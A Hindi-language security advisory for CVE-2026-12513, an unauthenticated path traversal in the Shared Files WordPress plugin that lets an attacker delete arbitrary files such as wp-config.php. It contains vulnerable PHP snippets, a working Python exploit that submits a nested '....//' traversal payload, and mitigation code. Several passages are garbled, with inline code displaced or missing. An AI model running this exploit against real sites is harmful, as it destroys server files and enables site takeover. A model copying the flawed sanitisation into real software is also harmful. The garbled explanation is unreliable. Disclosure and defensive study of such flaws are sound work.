
तकनीकी सलाह और CVE-2026-12513 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Shared Files WordPress प्लगइन में पाथ ट्रैवर्सल के माध्यम से एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल विलोपन है, जिसमें मूल कारण विश्लेषण और निवारण मार्गदर्शन शामिल है।
CVE-2026-12513 एक बिना प्रमाणीकरण के पाथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल विलोपन भेद्यता है जो संस्करण 1.7.68 से पहले Shared Files और Shared Files Pro WordPress प्लगइन्स को प्रभावित करती है, जिसे साइबर सुरक्षा शोधकर्ता Huynh Kien Minh (MinhHK) द्वारा खोजा और विश्लेषित किया गया है। यह दोष प्लगइन की फ्रंटएंड फ़ाइल सबमिशन प्रोसेसिंग रूटीन के भीतर होता है, जहाँ उपयोगकर्ता द्वारा आपूर्ति किए गए फ़ाइल पथों को एक दोषपूर्ण सिंगल-पास ट्रैवर्सल पैटर्न प्रतिस्थापन का उपयोग करके फ़िल्टर किया जाता है जिसे नेस्टेड अनुक्रमों (जैसे ) का उपयोग करके बायपास किया जा सकता है। परिणामस्वरूप, एक बिना प्रमाणीकरण वाला दूरस्थ हमलावर इच्छित अपलोड निर्देशिका के बाहर इंगित करने वाला एक हेरफेर किया गया पथ सबमिट कर सकता है, जिसमें सहित महत्वपूर्ण सर्वर संपत्तियों को लक्षित किया जा सकता है। जब कोई व्यवस्थापक बाद में अपलोड की गई प्रविष्टि को शुद्ध या स्थायी रूप से हटा देता है, तो एप्लिकेशन संग्रहीत मनमाने पथ के विरुद्ध फ़ाइल सिस्टम विलोपन प्रिमिटिव () को लागू करता है। इसके परिणामस्वरूप WordPress के मुख्य कॉन्फ़िगरेशन फ़ाइलों का विनाश होता है, जिससे गंभीर सेवा अस्वीकृति उत्पन्न होती है और अकॉन्फ़िगर्ड इंस्टॉलेशन सेटअप के माध्यम से साइट अधिग्रहण सक्षम होता है। मुख्य शोधकर्ता Huynh Kien Minh ने इस भेद्यता का मूल्यांकन CVSS 3.1 स्कोर 6.8 मध्यम (CWE-73 / CWE-22) के तहत किया, और संस्करण 1.7.68 या बाद के तत्काल प्लगइन अपडेट और मजबूत कैनोनिकल पथ सत्यापन की सिफारिश की।
....//wp-config.phpunlink()त्वरित लिंक: शोधकर्ता के आधिकारिक साइबर सुरक्षा पोर्टफोलियो का अन्वेषण करें या WPScan सत्यापित परामर्श की समीक्षा करें।
| पैरामीटर | तकनीकी विशिष्टता |
|---|---|
| भेद्यता पहचानकर्ता | CVE-2026-12513 |
| लक्षित सॉफ़्टवेयर | Shared Files / Shared Files Pro (WordPress प्लगइन्स) |
| प्लगइन स्लग | shared-files, shared-files-pro |
| संवेदनशील संस्करण | < 1.7.68 |
| पैच किया गया संस्करण | >= 1.7.68 |
| भेद्यता वर्ग | फ़ाइल नाम या पथ का बाहरी नियंत्रण / पाथ ट्रैवर्सल (CWE-73 / CWE-22) |
| CVSS v3.1 स्कोर | 6.8 (मध्यम) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| खोजकर्ता / शोधकर्ता | Huynh Kien Minh (MinhHK) |
| सत्यापन प्राधिकरण | WPScan / MITRE Corporation |
| WPScan परामर्श संदर्भ | WPScan रिपोर्ट 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| शोधकर्ता पोर्टफोलियो | https://minhhk.web.app/ |
यह भेद्यता Shared Files (< 1.7.68) में फ्रंटएंड फ़ाइल सबमिशन हैंडलर के भीतर लागू किए गए अपर्याप्त पथ स्वच्छता तंत्र में निहित है।
फ्रंटएंड फ़ाइल सबमिशन स्वीकार करते समय, प्लगइन ने सिंगल-पास स्ट्रिंग प्रतिस्थापन का उपयोग करके निर्देशिका ट्रैवर्सल अनुक्रमों (../) को हटाने का प्रयास किया:
// Insecure single-pass sanitization filter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
क्योंकि str_replace() केवल एक बार बाएँ से दाएँ निष्पादित होता है:
....//....//....//wp-config.php....// से ../ एक बार हटा दिया जाता है, तो बाहरी वर्ण वापस एक साथ मिलकर ../ बनाते हैं:
....// -> ../../../../../wp-config.php!wp_posts या कस्टम प्लगइन तालिका में)।/wp-admin/admin.php?page=shared-files के माध्यम से फ़ाइल रिकॉर्ड हटाता है, तो बैकएंड संग्रहीत पथ पर unlink() को कॉल करता है:// Vulnerable deletion logic
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Triggers deletion of target file (e.g. /var/www/html/wp-config.php)
}
wp-config.php हटा दिए जाने पर:
/wp-admin/install.php) प्रस्तुत करती है।नैतिक अस्वीकरण: यह प्रूफ-ऑफ-कॉन्सेप्ट Huynh Kien Minh द्वारा नैतिक प्रकटीकरण प्रोटोकॉल के तहत विशेष रूप से शैक्षिक अनुसंधान, रक्षात्मक सत्यापन और सुरक्षा ऑडिटिंग के लिए प्रदान किया गया है।
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 या उच्चतर में अपडेट करें।wp-config.php पर फ़ाइल सिस्टम अनुमतियाँ वेब सर्वर प्रक्रिया के लिए केवल-पठनीय (chmod 400 या 440) हैं।संचालन को निर्दिष्ट अपलोड सीमा के भीतर रहने के लिए realpath() और wp_normalize_path() का उपयोग करके सख्त कैनोनिकल पथ समाधान लागू करें:
// Secure Path Validation Pattern (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Ensure the resolved realpath strictly starts with the designated base directory
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) एक सूचना सुरक्षा शोधकर्ता हैं जो WordPress भेद्यता अनुसंधान, कोर और प्लगइन सुरक्षा ऑडिट, और रक्षात्मक एक्सप्लॉइट मॉडलिंग में विशेषज्ञता रखते हैं।
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}